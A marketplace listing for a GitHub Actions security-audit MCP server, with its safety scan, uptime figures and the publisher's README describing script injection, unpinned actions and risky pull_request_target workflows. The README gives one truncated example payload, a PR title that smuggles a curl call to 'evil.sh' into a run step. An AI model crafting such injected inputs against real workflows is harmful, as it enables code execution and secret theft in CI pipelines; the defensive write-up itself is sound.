MCP.Market

GitHub Actions Security Audit MCP server

not responding
by tylerscomic-lab·io.github.tylerscomic-lab/github-actions-audit-mcp·v1.0.0

Audit GitHub Actions workflows for script injection, unpinned actions and missing permissions.

D43/100grade D
What users say
No reviews yet
Be the first
Safety scan
D43/100

full report

Adoption
New

0 stars

Reviews

Write one

Nobody has reviewed GitHub Actions Security Audit yet.

If you have run it, two minutes of your experience saves the next person an afternoon.

GitHub Actions Security Audit tools

Tool list not cached yet. `describe` through the gateway fetches it live.

Public scan report

scanner v0.1.10 · 2026-10-28 · same rubric, same numbers if you re-run it

1 high
  • –Code scanremote-only server, no package to scann/a
  • Live reliabilityremote unreachable: HTTP 5000/20
  • –Tool poisoningtools not inspected (endpoint requires auth); not countedn/a
  • Auth qualityno auth information5/15
  • Maintenancelast push 27 days ago15/15
  • Maintainer identityregistry namespace matches repository owner6/10

Findings (1)

  • highRemote endpoint did not respondreliability.unreachable

    HTTP 500

Overall 43/100. Components that don't apply are left out of the denominator. Any critical finding is an F.RubricAppeal a findingJSON

How GitHub Actions Security Audit compares

Against every graded Developer tools MCP server, from our own scans and uptime checks. Updated after each scan run.

Safety score
43/100
higher than 5% of 1,119 Developer tools servers
Uptime
18%
of our recent checks; the typical remote Developer tools server answers 100%
Response time
742 ms
faster than 14% of 443 Developer tools servers

Install GitHub Actions Security Audit in Claude Code, Cursor or VS Code

claude mcp add --transport http github-actions-audit-mcp https://github-actions-audit-mcp.mcpize.run/mcp
Add to Cursor

What the publisher says

From the GitHub Actions Security Audit repository's README, as published. We do not edit it. Read it on GitHub

github-actions-audit-mcp

An MCP server that audits GitHub Actions workflow YAML for the real vulnerability classes that have caused actual incidents — not a linter, a security scanner. Parses genuine YAML structure (a hand-written block parser scoped to what workflow files actually use), not string/regex matching against the raw file.

What it catches

Script injection. Any ${{ github.event.issue.title }}-style expression that carries attacker-controlled text (issue/PR titles, comments, review bodies, branch names) interpolated directly into a run: shell step. The expression is substituted into the generated shell script before the shell runs it — a PR titled "; curl evil.sh

vulnerability. Flags the exact expression and shows the env-variable fix that actually neutralizes it.

Unpinned third-party actions. uses: some-action@v4 or @main can be repointed by whoever controls that tag/branch, without you changing a single character in your workflow file — this is exactly what happened in the tj-actions/changed-files compromise (March 2025), where a maintainer's PAT was used to retag v35–v46 to point at a credential-harvesting commit. Only a full 40-character commit SHA is immutable.

Missing permissions: blocks. No explicit permissions: means the GITHUB_TOKEN defaults to whatever your repo/org settings allow — often read-write. If any step is ever compromised, it inherits that full scope.

pullrequesttarget + head checkout. This trigger runs with the base repo's secrets and a write-scoped token (unlike plain pull_request), and if the workflow also checks out the PR's own head commit, a fork's PR can run arbitrary code with your secrets. Real supply-chain incidents follow this exact pattern.

Tools

audit_workflow

Full audit of a workflow YAML file. Returns a risk level and every finding with its exact location, why it's dangerous, and a concrete fix.

checkexpressioninjection

Focused check on a single shell command string, for when you just want to sanity-check one run: step without a full workflow file.

Use it

Hosted (recommended): MCPize — free tier, $7/mo Pro.

Self-host:

npm install
node server.js

Part of a small suite

regex-safety-audit-mcp, mcp-trust-audit-mcp, secrets-leak-audit-mcp, dockerfile-audit-mcp.

License

MIT

Nothing above is checked by us. What we check is on the safety report.

Grade history

  • 2026-10-28downgradeA → Dscore 43: Remote endpoint did not respond

GitHub Actions Security Audit: common questions

Is GitHub Actions Security Audit MCP server safe?
Not recommended: it is graded D (43/100). Read the GitHub Actions Security Audit safety report
How do I install GitHub Actions Security Audit?
It runs remotely at github-actions-audit-mcp.mcpize.run. Add it to Claude Code, Cursor, VS Code or Claude Desktop with the snippets above, or call it through the mcp.market gateway without installing anything.
Does GitHub Actions Security Audit need an API key?
Not as far as the registry entry and our scan can tell: no credentials are declared or required.
Is GitHub Actions Security Audit maintained?
The last commit was 33 days ago (2026-10-01). The latest release is v1.0.0.
Is GitHub Actions Security Audit up?
18% of our last 28 checks got an answer. We check remote servers about four times a day.
What can I use instead of GitHub Actions Security Audit?
Servers from other publishers that do the same job: cloud-audit MCP server, Grasp — Code Architecture & Dependency Analysis MCP server and zanadir MCP server.
How does GitHub Actions Security Audit compare with other Developer tools MCP servers?
safety score 43/100 (higher than 5% of 1,119 Developer tools servers); uptime 18% (of our recent checks; the typical remote Developer tools server answers 100%); response time 742 ms (faster than 14% of 443 Developer tools servers). Full comparison.

Alternatives to GitHub Actions Security Audit

Same job from other publishers: the closest match first, then the best rated.

  • cloud-audit
    AWS security scanner with attack chain detection, IAM privilege escalation, and fixes
    A
  • Grasp — Code Architecture & Dependency Analysis
    Codebase analysis: dependency graphs, security scanning, and refactor plans for GitHub and GitLab.
    C
  • zanadir
    Find what a repository's CI is missing, and which security checks cannot fail the build.
    B
  • Pare Github
    Pare GitHub ג€” Structured GitHub operations (PRs, issues, actions) as typed JSON.
    A
  • GitDiagram
    Architecture diagrams, explanations and Mermaid source for public GitHub repositories.
    A

More from tylerscomic-lab →